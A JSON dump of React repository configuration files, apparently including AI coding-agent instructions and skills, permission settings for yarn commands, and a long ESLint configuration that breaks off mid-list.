[
  {
    "path": ".claude/instructions.md",
    "content": "# React\n\n**Scope**: All code EXCEPT `/compiler/` (compiler has its own instructions).\n\n## Project Structure\n\n| Directory | Purpose |\n|-----------|---------|\n| `/packages/` | Publishable packages (react, react-dom, scheduler, etc.) |\n| `/scripts/` | Build, test, and development scripts |\n| `/fixtures/` | Test applications for manual testing |\n| `/compiler/` | React Compiler (separate sub-project) |\n\n## Key Packages\n\n| Package | Purpose |\n|---------|---------|\n| `react` | Core React library |\n| `react-dom` | DOM renderer |\n| `react-reconciler` | Core reconciliation algorithm |\n| `scheduler` | Cooperative scheduling |\n| `react-server-dom-*` | Server Components |\n| `react-devtools-*` | Developer Tools |\n| `react-refresh` | Fast Refresh runtime |\n\n## Requirements\n\n- **Node**: Must be installed. Stop and prompt user if missing.\n- **Package Manager**: Use `yarn` only.\n\n## Verification\n\n**IMPORTANT**: Use `/verify` to validate all changes before committing.\n\n## Commands\n\n| Command  | Purpose              |\n|----------|----------------------|\n| `/fix`   | Lint and format code |\n| `/test`  | Run tests            |\n| `/flow`  | Type check with Flow |\n| `/flags` | Check feature flags  |\n\n## Building\n\nBuilds are handled by CI. Do not run locally unless instructed.\n"
  },
  {
    "path": ".claude/settings.json",
    "content": "{\n  \"hooks\": {\n    \"SessionStart\": [\n      {\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"if [[ \\\"$PWD\\\" != */compiler* ]]; then cat .claude/instructions.md 2>/dev/null || true; fi\"\n          }\n        ]\n      }\n    ]\n  },\n  \"permissions\": {\n    \"allow\": [\n      \"Skill(extract-errors)\",\n      \"Skill(feature-flags)\",\n      \"Skill(fix)\",\n      \"Skill(flags)\",\n      \"Skill(flow)\",\n      \"Skill(test)\",\n      \"Skill(verify)\",\n      \"Bash(yarn test:*)\",\n      \"Bash(yarn test-www:*)\",\n      \"Bash(yarn test-classic:*)\",\n      \"Bash(yarn test-stable:*)\",\n      \"Bash(yarn linc:*)\",\n      \"Bash(yarn lint:*)\",\n      \"Bash(yarn flow:*)\",\n      \"Bash(yarn prettier:*)\",\n      \"Bash(yarn build:*)\",\n      \"Bash(yarn extract-errors:*)\",\n      \"Bash(yarn flags:*)\"\n    ],\n    \"deny\": [\n      \"Bash(yarn download-build:*)\",\n      \"Bash(yarn download-build-for-head:*)\",\n      \"Bash(npm:*)\",\n      \"Bash(pnpm:*)\",\n      \"Bash(bun:*)\",\n      \"Bash(npx:*)\"\n    ]\n  }\n}\n"
  },
  {
    "path": ".claude/skills/extract-errors/SKILL.md",
    "content": "---\nname: extract-errors\ndescription: Use when adding new error messages to React, or seeing \"unknown error code\" warnings.\n---\n\n# Extract Error Codes\n\n## Instructions\n\n1. Run `yarn extract-errors`\n2. Report if any new errors need codes assigned\n3. Check if error codes are up to date\n"
  },
  {
    "path": ".claude/skills/feature-flags/SKILL.md",
    "content": "---\nname: feature-flags\ndescription: Use when feature flag tests fail, flags need updating, understanding @gate pragmas, debugging channel-specific test failures, or adding new flags to React.\n---\n\n# React Feature Flags\n\n## Flag Files\n\n| File | Purpose |\n|------|---------|\n| `packages/shared/ReactFeatureFlags.js` | Default flags (canary), `__EXPERIMENTAL__` overrides |\n| `packages/shared/forks/ReactFeatureFlags.www.js` | www channel, `__VARIANT__` overrides |\n| `packages/shared/forks/ReactFeatureFlags.native-fb.js` | React Native, `__VARIANT__` overrides |\n| `packages/shared/forks/ReactFeatureFlags.test-renderer.js` | Test renderer |\n\n## Gating Tests\n\n### `@gate` pragma (test-level)\n\nUse when the feature is completely unavailable without the flag:\n\n```javascript\n// @gate enableViewTransition\nit('supports view transitions', () => {\n  // This test only runs when enableViewTransition is true\n  // and is SKIPPED (not failed) when false\n});\n```\n\n### `gate()` inline (assertion-level)\n\nUse when the feature exists but behavior differs based on flag:\n\n```javascript\nit('renders component', async () => {\n  await act(() => root.render(<App />));\n\n  if (gate(flags => flags.enableNewBehavior)) {\n    expect(container.textContent).toBe('new output');\n  } else {\n    expect(container.textContent).toBe('legacy output');\n  }\n});\n```\n\n## Adding a New Flag\n\n1. Add to `ReactFeatureFlags.js` with default value\n2. Add to each fork file (`*.www.js`, `*.native-fb.js`, etc.)\n3. If it should vary in www/RN, set to `__VARIANT__` in the fork file\n4. Gate tests with `@gate flagName` or inline `gate()`\n\n## Checking Flag States\n\nUse `/flags` to view states across channels. See the `flags` skill for full command options.\n\n## `__VARIANT__` Flags (GKs)\n\nFlags set to `__VARIANT__` simulate gatekeepers - tested twice (true and false):\n\n```bash\n/test www <pattern>              # __VARIANT__ = true\n/test www variant false <pattern> # __VARIANT__ = false\n```\n\n## Debugging Channel-Specific Failures\n\n1. Run `/flags --diff <channel1> <channel2>` to compare values\n2. Check `@gate` conditions - test may be gated to specific channels\n3. Run `/test <channel> <pattern>` to isolate the failure\n4. Verify flag exists in all fork files if newly added\n\n## Common Mistakes\n\n- **Forgetting both variants** - Always test `www` AND `www variant false` for `__VARIANT__` flags\n- **Using @gate for behavior differences** - Use inline `gate()` if both paths should run\n- **Missing fork files** - New flags must be added to ALL fork files, not just the main one\n- **Wrong gate syntax** - It's `gate(flags => flags.name)`, not `gate('name')`\n"
  },
  {
    "path": ".claude/skills/fix/SKILL.md",
    "content": "---\nname: fix\ndescription: Use when you have lint errors, formatting issues, or before committing code to ensure it passes CI.\n---\n\n# Fix Lint and Formatting\n\n## Instructions\n\n1. Run `yarn prettier` to fix formatting\n2. Run `yarn linc` to check for remaining lint issues\n3. Report any remaining manual fixes needed\n\n## Common Mistakes\n\n- **Running prettier on wrong files** - `yarn prettier` only formats changed files\n- **Ignoring linc errors** - These will fail CI, fix them before committing\n"
  },
  {
    "path": ".claude/skills/flags/SKILL.md",
    "content": "---\nname: flags\ndescription: Use when you need to check feature flag states, compare channels, or debug why a feature behaves differently across release channels.\n---\n\n# Feature Flags\n\nArguments:\n- $ARGUMENTS: Optional flags\n\n## Options\n\n| Option | Purpose |\n|--------|---------|\n| (none) | Show all flags across all channels |\n| `--diff <ch1> <ch2>` | Compare flags between channels |\n| `--cleanup` | Show flags grouped by cleanup status |\n| `--csv` | Output in CSV format |\n\n## Channels\n\n- `www`, `www-modern` - Meta internal\n- `canary`, `next`, `experimental` - OSS channels\n- `rn`, `rn-fb`, `rn-next` - React Native\n\n## Legend\n\n✅ enabled, ❌ disabled, 🧪 `__VARIANT__`, 📊 profiling-only\n\n## Instructions\n\n1. Run `yarn flags $ARGUMENTS`\n2. Explain the output to the user\n3. For --diff, highlight meaningful differences\n\n## Common Mistakes\n\n- **Forgetting `__VARIANT__` flags** - These are tested both ways in www; check both variants\n- **Comparing wrong channels** - Use `--diff` to see exact differences\n"
  },
  {
    "path": ".claude/skills/flow/SKILL.md",
    "content": "---\nname: flow\ndescription: Use when you need to run Flow type checking, or when seeing Flow type errors in React code.\n---\n\n# Flow Type Checking\n\nArguments:\n- $ARGUMENTS: Renderer to check (default: dom-node)\n\n## Renderers\n\n| Renderer | When to Use |\n|----------|-------------|\n| `dom-node` | Default, recommended for most changes |\n| `dom-browser` | Browser-specific DOM code |\n| `native` | React Native |\n| `fabric` | React Native Fabric |\n\n## Instructions\n\n1. Run `yarn flow $ARGUMENTS` (use `dom-node` if no argument)\n2. Report type errors with file locations\n3. For comprehensive checking (slow), use `yarn flow-ci`\n\n## Common Mistakes\n\n- **Running without a renderer** - Always specify or use default `dom-node`\n- **Ignoring suppressions** - Check if `$FlowFixMe` comments are masking real issues\n- **Missing type imports** - Ensure types are imported from the correct package\n"
  },
  {
    "path": ".claude/skills/test/SKILL.md",
    "content": "---\nname: test\ndescription: Use when you need to run tests for React core. Supports source, www, stable, and experimental channels.\n---\n\nRun tests for the React codebase.\n\nArguments:\n- $ARGUMENTS: Channel, flags, and test pattern\n\nUsage Examples:\n- `/test ReactFiberHooks` - Run with source channel (default)\n- `/test experimental ReactFiberHooks` - Run with experimental channel\n- `/test www ReactFiberHooks` - Run with www-modern channel\n- `/test www variant false ReactFiberHooks` - Test __VARIANT__=false\n- `/test stable ReactFiberHooks` - Run with stable channel\n- `/test classic ReactFiberHooks` - Run with www-classic channel\n- `/test watch ReactFiberHooks` - Run in watch mode (TDD)\n\nRelease Channels:\n- `(default)` - Source/canary channel, uses ReactFeatureFlags.js defaults\n- `experimental` - Source/experimental channel with __EXPERIMENTAL__ flags = true\n- `www` - www-modern channel with __VARIANT__ flags = true\n- `www variant false` - www channel with __VARIANT__ flags = false\n- `stable` - What ships to npm\n- `classic` - Legacy www-classic (rarely needed)\n\nInstructions:\n1. Parse channel from arguments (default: source)\n2. Map to yarn command:\n   - (default) → `yarn test --silent --no-watchman <pattern>`\n   - experimental → `yarn test -r=experimental --silent --no-watchman <pattern>`\n   - stable → `yarn test-stable --silent --no-watchman <pattern>`\n   - classic → `yarn test-classic --silent --no-watchman <pattern>`\n   - www → `yarn test-www --silent --no-watchman <pattern>`\n   - www variant false → `yarn test-www --variant=false --silent --no-watchman <pattern>`\n3. Report test results and any failures\n\nHard Rules:\n1. **Use --silent to see failures** - This limits the test output to only failures.\n2. **Use --no-watchman** - This is a common failure in sandboxing.\n\nCommon Mistakes:\n- **Running without a pattern** - Runs ALL tests, very slow. Always specify a pattern.\n- **Forgetting both www variants** - Test `www` AND `www variant false` for `__VARIANT__` flags.\n- **Test skipped unexpectedly** - Check for `@gate` pragma; see `feature-flags` skill.\n"
  },
  {
    "path": ".claude/skills/verify/SKILL.md",
    "content": "---\nname: verify\ndescription: Use when you want to validate changes before committing, or when you need to check all React contribution requirements.\n---\n\n# Verification\n\nRun all verification steps.\n\nArguments:\n- $ARGUMENTS: Test pattern for the test step\n\n## Instructions\n\nRun these first in sequence:\n1. Run `yarn prettier` - format code (stop if fails)\n2. Run `yarn linc` - lint changed files (stop if fails)\n\nThen run these with subagents in parallel:\n1. Use `/flow` to type check (stop if fails)\n2. Use `/test` to test changes in source (stop if fails)\n3. Use `/test www` to test changes in www (stop if fails)\n\nIf all pass, show success summary. On failure, stop immediately and report the issue with suggested fixes.\n"
  },
  {
    "path": ".codesandbox/ci.json",
    "content": "{\n  \"packages\": [\"packages/react\", \"packages/react-dom\", \"packages/react-server-dom-webpack\", \"packages/scheduler\"],\n  \"buildCommand\": \"download-build-in-codesandbox-ci\",\n  \"node\": \"20\",\n  \"publishDirectory\": {\n    \"react\": \"build/oss-experimental/react\",\n    \"react-dom\": \"build/oss-experimental/react-dom\",\n    \"react-server-dom-webpack\": \"build/oss-experimental/react-server-dom-webpack\",\n    \"scheduler\": \"build/oss-experimental/scheduler\"\n  },\n  \"sandboxes\": [\"new\"],\n  \"silent\": true\n}\n"
  },
  {
    "path": ".editorconfig",
    "content": "# https://editorconfig.org\nroot = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\nindent_size = 2\nindent_style = space\ninsert_final_newline = true\nmax_line_length = 80\n\n[*.md]\nmax_line_length = 0\n\n[COMMIT_EDITMSG]\nmax_line_length = 0\n"
  },
  {
    "path": ".eslintignore",
    "content": "# Third party\n**/node_modules\n\n# Not written by hand\npackages/react-art/npm/lib\n\n# Build products\nbuild/\ncoverage/\nfixtures/\nscripts/bench/benchmarks/**/*.js\n\n# React repository clone\nscripts/bench/remote-repo/\n\n# Compiler uses its own lint setup\ncompiler/\n\npackages/react-devtools-core/dist\npackages/react-devtools-extensions/chrome/build\npackages/react-devtools-extensions/firefox/build\npackages/react-devtools-extensions/shared/build\npackages/react-devtools-extensions/src/ErrorTesterCompiled.js\npackages/react-devtools-fusebox/dist\npackages/react-devtools-inline/dist\npackages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/\npackages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/\npackages/react-devtools-shell/dist\npackages/react-devtools-timeline/dist\npackages/react-devtools-timeline/static\n\n# Imported third-party Flow types\nflow-typed/\n"
  },
  {
    "path": ".eslintrc.js",
    "content": "'use strict';\n\nconst {\n  es5Paths,\n  esNextPaths,\n} = require('./scripts/shared/pathsByLanguageVersion');\n\nconst restrictedGlobals = require('confusing-browser-globals');\n\nconst OFF = 0;\nconst WARNING = 1;\nconst ERROR = 2;\n\nmodule.exports = {\n  extends: ['prettier', 'plugin:jest/recommended'],\n\n  // Stop ESLint from looking for a configuration file in parent folders\n  root: true,\n\n  reportUnusedDisableDirectives: true,\n\n  plugins: [\n    'babel',\n    'ft-flow',\n    'jest',\n    'es',\n    'no-for-of-loops',\n    'no-function-declare-after-return',\n    'react',\n    'react-internal',\n  ],\n\n  parser: 'hermes-eslint',\n  parserOptions: {\n    ecmaVersion: 9,\n    sourceType: 'script',\n  },\n\n  // We're stricter than the default config, mostly. We'll override a few rules\n  // and then enable some React specific ones.\n  rules: {\n    'ft-flow/array-style-complex-type': [OFF, 'verbose'],\n    'ft-flow/array-style-simple-type': [OFF, 'verbose'], // TODO should be WARNING\n    'ft-flow/boolean-style': ERROR,\n    'ft-flow/no-dupe-keys': ERROR,\n    'ft-flow/no-primitive-constructor-types': ERROR,\n    'ft-flow/no-types-missing-file-annotation': OFF, // TODO should be ERROR\n    'ft-flow/no-unused-expressions': ERROR,\n    // 'ft-flow/no-weak-types': WARNING,\n    // 'ft-flow/require-valid-file-annotation': ERROR,\n    'es/no-optional-chaining': ERROR,\n    'no-cond-assign': OFF,\n    'no-constant-condition': OFF,\n    'no-control-regex': OFF,\n    'no-debugger': ERROR,\n    'no-dupe-args': ERROR,\n    'no-dupe-keys': ERROR,\n    'no-duplicate-case': WARNING,\n    'no-empty-character-class': WARNING,\n    'no-empty': OFF,\n    'no-ex-assign': WARNING,\n    'no-extra-boolean-cast': WARNING,\n    'no-func-assign': ERROR,\n    'no-invalid-regexp': WARNING,\n    'no-irregular-whitespace': WARNING,\n    'no-negated-in-lhs': ERROR,\n    'no-obj-calls': ERROR,\n    'no-regex-spaces': WARNING,\n    'no-sparse-arrays': ERROR,\n    'no-unreachable': ERROR,\n    'use-isnan': ERROR,\n    'valid-jsdoc': OFF,\n    'block-scoped-var': OFF,\n    complexity: OFF,\n    'default-case': OFF,\n    'guard-for-in': OFF,\n    'no-alert': OFF,\n    'no-caller': ERROR,\n    'no-case-declarations': OFF,\n    'no-div-regex': OFF,\n    'no-else-return': OFF,\n    'no-empty-pattern': WARNING,\n    'no-eq-null': OFF,\n    'no-eval': ERROR,\n    'no-extend-native': WARNING,\n    'no-extra-bind': WARNING,\n    'no-fallthrough': WARNING,\n    'no-implicit-coercion': OFF,\n    'no-implied-eval': ERROR,\n    'no-invalid-this': OFF,\n    'no-iterator': OFF,\n    'no-labels': [ERROR, {allowLoop: true, allowSwitch: true}],\n    'no-lone-blocks': WARNING,\n    'no-loop-func': OFF,\n    'no-magic-numbers': OFF,\n    'no-multi-str': ERROR,\n    'no-native-reassign': [ERROR, {exceptions: ['Map', 'Set']}],\n    'no-new-func': ERROR,\n    'no-new': WARNING,\n    'no-new-wrappers': WARNING,\n    'no-octal-escape': WARNING,\n    'no-octal': WARNING,\n    'no-param-reassign': OFF,\n    'no-process-env': OFF,\n    'no-proto': ERROR,\n    'no-redeclare': OFF, // TODO should be WARNING?\n    'no-return-assign': OFF,\n    'no-script-url': ERROR,\n    'no-self-compare': WARNING,\n    'no-sequences': WARNING,\n    'no-throw-literal': ERROR,\n    'no-useless-call': WARNING,\n    'no-void': OFF,\n    'no-warning-comments': OFF,\n    'no-with': OFF,\n    radix: WARNING,\n    'vars-on-top': OFF,\n    yoda: OFF,\n    'init-declarations': OFF,\n    'no-catch-shadow': ERROR,\n    'no-delete-var': ERROR,\n    'no-label-var': WARNING,\n    'no-shadow-restricted-names': WARNING,\n    'no-undef-init': OFF,\n    'no-undef': ERROR,\n    'no-undefined': OFF,\n    'callback-return': OFF,\n    'global-require': OFF,\n    'handle-callback-err': OFF,\n    'no-mixed-requires': OFF,\n    'no-new-require': OFF,\n    'no-path-concat': OFF,\n    'no-process-exit': OFF,\n    'no-restricted-modules': OFF,\n    'no-sync': OFF,\n    camelcase: [OFF, {properties: 'always'}],\n    'consistent-this': [OFF, 'self'],\n    'func-names': OFF,\n    'func-style': [OFF, 'declaration'],\n    'id-length': OFF,\n    'id-match': OFF,\n    'max-depth': OFF,\n    'max-nested-callbacks': OFF,\n    'max-params': OFF,\n    'max-statements': OFF,\n    'new-cap': OFF,\n    'newline-after-var': OFF,\n    'no-array-constructor': ERROR,\n    'no-continue': OFF,\n    'no-inline-comments': OFF,\n    'no-lonely-if': OFF,\n    'no-negated-condition': OFF,\n    'no-nested-ternary': OFF,\n    'no-new-object': WARNING,\n    'no-plusplus': OFF,\n    'no-ternary': OFF,\n    'no-underscore-dangle': OFF,\n    'no-unneeded-ternary': WARNING,\n    'one-var': [WARNING, {initialized: 'never'}],\n    'operator-assignment': [WARNING, 'always'],\n    'require-jsdoc': OFF,\n    'sort-vars': OFF,\n    'spaced-comment': [\n      OFF,\n      'always',\n      {exceptions: ['jshint', 'jslint', 'eslint', 'global']},\n    ],\n    'constructor-super': ERROR,\n    'no-class-assign': WARNING,\n    'no-const-assign': ERROR,\n    'no-dupe-class-members': ERROR,\n    'no-this-before-super': ERROR,\n    'object-shorthand': OFF,\n    'prefer-const': OFF,\n    'prefer-spread': OFF,\n    'prefer-reflect': OFF,\n    'prefer-template': OFF,\n    'require-yield': OFF,\n    'babel/generator-star-spacing': OFF,\n    'babel/new-cap': OFF,\n    'babel/array-bracket-spacing': OFF,\n    'babel/object-curly-spacing': OFF,\n    'babel/object-shorthand': OFF,\n    'babel/arrow-parens': OFF,\n    'babel/no-await-in-loop': OFF,\n    'babel/flow-object-type': OFF,\n    'react/display-name': OFF,\n    'react/forbid-prop-types': OFF,\n    'react/jsx-closing-bracket-location': OFF,\n    'react/jsx-curly-spacing': OFF,\n    'react/jsx-equals-spacing': WARNING,\n    'react/jsx-filename-extension': OFF,\n    'react/jsx-first-prop-new-line': OFF,\n    'react/jsx-handler-names': OFF,\n    'react/jsx-indent': OFF,\n    'react/jsx-indent-props': OFF,\n    'react/jsx-key': OFF,\n    'react/jsx-max-props-per-line': OFF,\n    'react/jsx-no-bind': OFF,\n    'react/jsx-no-duplicate-props': ERROR,\n    'react/jsx-no-literals': OFF,\n    'react/jsx-no-target-blank': OFF,\n    'react/jsx-pascal-case': OFF,\n    'react/jsx-sort-props': OFF,\n    'react/jsx-uses-vars': ERROR,\n    'react/no-comment-textnodes': OFF,\n    'react/no-danger': OFF,\n    'react/no-deprecated': OFF,\n    'react/no-did-mount-set-state': OFF,\n    'react/no-did-update-set-state': OFF,\n    'react/no-direct-mutation-state': OFF,\n    'react/no-multi-comp': OFF,\n    'react/no-render-return-value': OFF,\n    'react/no-set-state': OFF,\n    'react/no-string-refs': OFF,\n    'react/no-unknown-property': OFF,\n    'react/prefer-es6-class': OFF,\n    'react/prefer-stateless-function': OFF,\n    'react/prop-types': OFF,\n    'react/require-extension': OFF,\n    'react/require-optimization': OFF,\n    'react/require-render-return': OFF,\n    'react/sort-comp': OFF,\n    'react/sort-prop-types': OFF,\n\n    'accessor-pairs': OFF,\n    'brace-style': [ERROR, '1tbs'],\n    'consistent-return': OFF,\n    'dot-location': [ERROR, 'property'],\n    // We use console['error']() as a signal to not transform it:\n    'dot-notation': [ERROR, {allowPattern: '^(error|warn)$'}],\n    'eol-last': ERROR,\n    eqeqeq: [ERROR, 'allow-null'],\n    indent: OFF,\n    'jsx-quotes': [ERROR, 'prefer-double'],\n    'keyword-spacing': [ERROR, {after: true, before: true}],\n    'no-bitwise': OFF,\n    'no-console': OFF,\n    'no-inner-declarations': [ERROR, 'functions'],\n    'no-multi-spaces': ERROR,\n    'no-restricted-globals': [ERROR].concat(restrictedGlobals),\n    'no-restricted-syntax': [\n      ERROR,\n      'WithStatement',\n      {\n        selector: 'MemberExpression[property.name=/^(?:substring|substr)$/]',\n        message: 'Prefer string.slice() over .substring() and .substr().',\n      },\n    ],\n    'no-shadow': ERROR,\n    'no-unused-vars': [ERROR, {args: 'none', ignoreRestSiblings: true}],\n    'no-use-before-define': OFF,\n    'no-useless-concat': OFF,\n    quotes: [ERROR, 'single', {avoidEscape: true, allowTemplateLiterals: true}],\n    'space-before-blocks': ERROR,\n    'space-before-function-paren': OFF,\n    'valid-typeof': [ERROR, {requireStringLiterals: true}],\n    // Flow fails with non-string literal keys\n    'no-useless-computed-key': OFF,\n\n    // We apply these settings to files that should run on Node.\n    // They can't use JSX or ES6 modules, and must be in strict mode.\n    // They can, however, use other ES6 features.\n    // (Note these rules are overridden later for source files.)\n    'no-var': ERROR,\n    strict: ERROR,\n\n    // Enforced by Prettier\n    // TODO: Prettier doesn't handle long strings or long comments. Not a big\n    // deal. But I turned it off because loading the plugin causes some obscure\n    // syntax error and it didn't seem worth investigating.\n    'max-len': OFF,\n\n    // React & JSX\n    // Our transforms set this automatically\n    'react/jsx-boolean-value': [ERROR, 'always'],\n    'react/jsx-no-undef': ERROR,\n    // We don't care to do this\n    'react/jsx-sort-prop-types': OFF,\n    'react/jsx-space-before-closing': ERROR,\n    'react/jsx-uses-react': ERROR,\n    'react/no-is-mounted': OFF,\n    // This isn't useful in our test code\n    'react/react-in-jsx-scope': ERROR,\n    'react/self-closing-comp': ERROR,\n    // We don't care to do this\n    'react/jsx-wrap-multilines': [\n      ERROR,\n      {declaration: false, assignment: false},\n    ],\n\n    // Prevent for...of loops because they require a Symbol polyfill.\n    // You can disable this rule for code that isn't shipped (e.g. build scripts and tests).\n    'no-for-of-loops/no-for-of-loops': ERROR,\n\n    // Prevent function declarations after return statements\n    'no-function-declare-after-return/no-function-declare-after-return': ERROR,\n\n    // CUSTOM RULES\n    // the second argument of warning/invariant should be a literal string\n    'react-internal/no-primitive-constructors': ERROR,\n    'react-internal/safe-string-coercion': [\n      ERROR,\n      {isProductionUserAppCode: true},\n    ],\n    'react-internal/warning-args': ERROR,\n    'react-internal/no-production-logging': ERROR,\n  },\n\n  overrides: [\n    {\n      // By default, anything error message that appears the packages directory\n      // must have a corresponding error code. The exceptions are defined\n      // in the next override entry.\n      files: ['packages/**/*.js'],\n      rules: {\n        'react-internal/prod-error-codes': ERROR,\n      },\n    },\n    {\n      // These are files where it's OK to have unminified error messages. These\n      // are environments where bundle size isn't a concern, like tests\n      // or Node.\n      files: [\n        'packages/react-dom/src/test-utils/**/*.js',\n        'packages/react-devtools-shared/**/*.js',\n        'packages/react-noop-renderer/**/*.js',\n        'packages/react-refresh/**/*.js',\n        'packages/react-server-dom-esm/**/*.js',\n        'packages/react-server-dom-webpack/**/*.js',\n        'packages/react-server-dom-turbopack/**/*.js',\n        'packages/react-server-dom-parcel/**/*.js',\n        'packages/react-server-dom-fb/**/*.js',\n        'packages/react-server-dom-unbundled/**/*.js',\n        'packages/react-test-renderer/**/*.js',\n        'packages/react-debug-tools/**/*.js',\n        'packages/react-devtools-extensions/**/*.js',\n        'packages/react-devtools-timeline/**/*.js',\n        'packages/react-native-renderer/**/*.js',\n        'packages/eslint-plugin-react-hooks/**/*.js',\n        'packages/jest-react/**/*.js',\n        'packages/internal-test-utils/**/*.js',\n        'packages/**/__tests__/*.js',\n        'packages/**/npm/*.js',\n      ],\n      rules: {\n        'react-internal/prod-error-codes': OFF,\n      },\n    },\n    {\n      // We apply these settings to files that we ship through npm.\n      // They must be ES5.\n      files: es5Paths,\n      parser: 'espree',\n      parserOptions: {\n        ecmaVersion: 5,\n        sourceType: 'script',\n      },\n      rules: {\n        'no-var': OFF,\n        strict: ERROR,\n      },\n    },\n    {\n      // We apply these settings to the source files that get compiled.\n      // They can use all features including JSX (but shouldn't use `var`).\n      files: esNextPaths,\n      parser: 'hermes-eslint',\n      parserOptions: {\n        ecmaVersion: 8,\n        sourceType: 'module',\n      },\n      rules: {\n        'no-var': ERROR,\n        'prefer-const': ERROR,\n        strict: OFF,\n      },\n    },\n    {\n      files: ['**/__tests__/*.js'],\n      rules: {\n        // https://github.com/jest-community/eslint-plugin-jest\n        // Meh, who cares.\n        'jest/consistent-test-it': OFF,\n        // Meh, we have a lot of these, who cares.\n        'jest/no-alias-methods': OFF,\n        // We do conditions based on feature flags.\n        'jest/no-conditional-expect': OFF,\n        // We have our own assertion helpers.\n        'jest/expect-expect': OFF,\n        // Lame rule that fires in itRender helpers or in render methods.\n        'jest/no-standalone-expect': OFF,\n      },\n    },\n    {\n      // Rules specific to test setup helper files.\n      files: [\n        '**/setupTests.js',\n        '**/setupEnv.js',\n        '**/jest/TestFlags.js',\n        '**/dom-event-testing-library/testHelpers.js',\n        '**/utils/ReactDOMServerIntegrationTestUtils.js',\n        '**/babel/transform-react-version-pragma.js',\n        '**/babel/transform-test-gate-pragma.js',\n      ],\n      rules: {\n        // Some helpers intentionally focus tests.\n        'jest/no-focused-tests': OFF,\n        // Test fn helpers don't use static text names.\n        'jest/valid-title': OFF,\n        // We have our own assertion helpers.\n        'jest/expect-expect': OFF,\n        // Some helpers intentionally disable tests.\n        'jest/no-disabled-tests': OFF,\n        // Helpers export text function helpers.\n        'jest/no-export': OFF,\n        // The examples in comments trigger false errors.\n        'jest/no-commented-out-tests': OFF,\n      },\n    },\n    {\n      files: ['**/jest/TestFlags.js'],\n      rules: {\n        // The examples in comments trigger false errors.\n        'jest/no-commented-out-tests': OFF,\n      },\n    },\n    {\n      files: [\n        '**/__tests__/**/*.js',\n        'scripts/**/*.js',\n        'packages/*/npm/**/*.js',\n        'packages/dom-event-testing-library/**/*.js',\n        'packages/react-devtools*/**/*.js',\n        'dangerfile.js',\n        'fixtures',\n        'packages/react-dom/src/test-utils/*.js',\n      ],\n      rules: {\n        'es/no-optional-chaining': OFF,\n        'react-internal/no-production-logging': OFF,\n        'react-internal/warning-args': OFF,\n        'react-internal/safe-string-coercion': [\n          ERROR,\n          {isProductionUserAppCode: false},\n        ],\n      },\n    },\n    {\n      files: ['scripts/eslint-rules/*.js'],\n      plugins: ['eslint-plugin'],\n      rules: {\n        'eslint-plugin/prefer-object-rule': ERROR,\n        'eslint-plugin/require-meta-fixable': [\n          ERROR,\n          {catchNoFixerButFixableProperty: true},\n        ],\n        'eslint-plugin/require-meta-has-suggestions': ERROR,\n      },\n    },\n    {\n      files: ['packages/react-native-renderer/**/*.js'],\n      globals: {\n        nativeFabricUIManager: 'readonly',\n        RN$enableMicrotasksInReact: 'readonly',\n      },\n    },\n    {\n      files: ['packages/react-server-dom-webpack/**/*.js'],\n      globals: {\n        __webpack_chunk_load__: 'readonly',\n        __webpack_get_script_filename__: 'readonly',\n        __webpack_require__: 'readonly',\n      },\n    },\n    {\n      files: ['packages/react-server-dom-turbopack/**/*.js'],\n      globals: {\n        __turbopack_load_by_url__: 'readonly',\n        __turbopack_require__: 'readonly',\n      },\n    },\n    {\n      files: ['packages/react-server-dom-parcel/**/*.js'],\n      globals: {\n        parcelRequire: 'readonly',\n      },\n    },\n    {\n      files: ['packages/scheduler/**/*.js'],\n      globals: {\n        TaskController: 'readonly',\n      },\n    },\n    {\n      files: [\n        'packages/react-devtools-extensions/**/*.js',\n        'packages/react-devtools-shared/src/devtools/views/**/*.js',\n        'packages/react-devtools-shared/src/hook.js',\n        'packages/react-devtools-shared/src/backend/console.js',\n        'packages/react-devtools-shared/src/backend/fiber/renderer.js',\n        'packages/react-devtools-shared/src/backend/shared/DevToolsComponentStackFrame.js',\n        'packages/react-devtools-shared/src/frontend/utils/withPermissionsCheck.js',\n      ],\n      globals: {\n        __IS_CHROME__: 'readonly',\n        __IS_FIREFOX__: 'readonly',\n        __IS_EDGE__: 'readonly',\n        __IS_NATIVE__: 'readonly',\n        __IS_INTERNAL_VERSION__: 'readonly',\n        chrome: 'readonly',\n      },\n    },\n    {\n      files: ['packages/react-devtools-shared/**/*.js'],\n      globals: {\n        __IS_INTERNAL_VERSION__: 'readonly',\n      },\n    },\n    {\n      files: ['packages/react-devtools-*/**/*.js'],\n      excludedFiles: '**/__tests__/**/*.js',\n      plugins: ['eslint-plugin-react-hooks-published'],\n      rules: {\n        'react-hooks-published/rules-of-hooks': ERROR,\n      },\n    },\n    {\n      files: ['packages/eslint-plugin-react-hooks/src/**/*'],\n      extends: ['plugin:@typescript-eslint/recommended'],\n      parser: '@typescript-eslint/parser',\n      plugins: ['@typescript-eslint', 'eslint-plugin'],\n      rules: {\n        '@typescript-eslint/no-explicit-any': OFF,\n        '@typescript-eslint/no-non-null-assertion': OFF,\n        '@typescript-eslint/array-type': [ERROR, {default: 'generic'}],\n\n        'es/no-optional-chaining': OFF,\n\n        'eslint-plugin/prefer-object-rule': ERROR,\n        'eslint-plugin/require-meta-fixable': [\n          ERROR,\n          {catchNoFixerButFixableProperty: true},\n        ],\n        'eslint-plugin/require-meta-has-suggestions': ERROR,\n      },\n    },\n  ],\n\n  env: {\n    browser: true,\n    es6: true,\n    node: true,\n    jest: true,\n  },\n\n  globals: {\n    $Flow$ModuleRef: 'readonly',\n    $FlowFixMe: 'readonly',\n    $Keys: 'readonly',\n    $NonMaybeType: 'readonly',\n    $ReadOnly: 'readonly',\n    $ReadOnlyArray: 'readonly',\n    $ArrayBufferView: 'readonly',\n    $Shape: 'readonly',\n    CallSite: 'readonly',\n    ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.\n    ReturnType: 'readonly',\n    AggregateError: 'readonly',\n    AnimationFrameID: 'readonly',\n    WeakRef: 'readonly',\n    // For Flow type annotation. Only `BigInt` is valid at runtime.\n    bigint: 'readonly',\n    BigInt: 'readonly',\n    BigInt64Array: 'readonly',\n    BigUint64Array: 'readonly',\n    CacheType: 'readonly',\n    Class: 'readonly',\n    ClientRect: 'readonly',\n    CopyInspectedElementPath: 'readonly',\n    DOMHighResTimeStamp: 'readonly',\n    EventListener: 'readonly',\n    Iterable: 'readonly',\n    AsyncIterable: 'readonly',\n    $AsyncIterable: 'readonly',\n    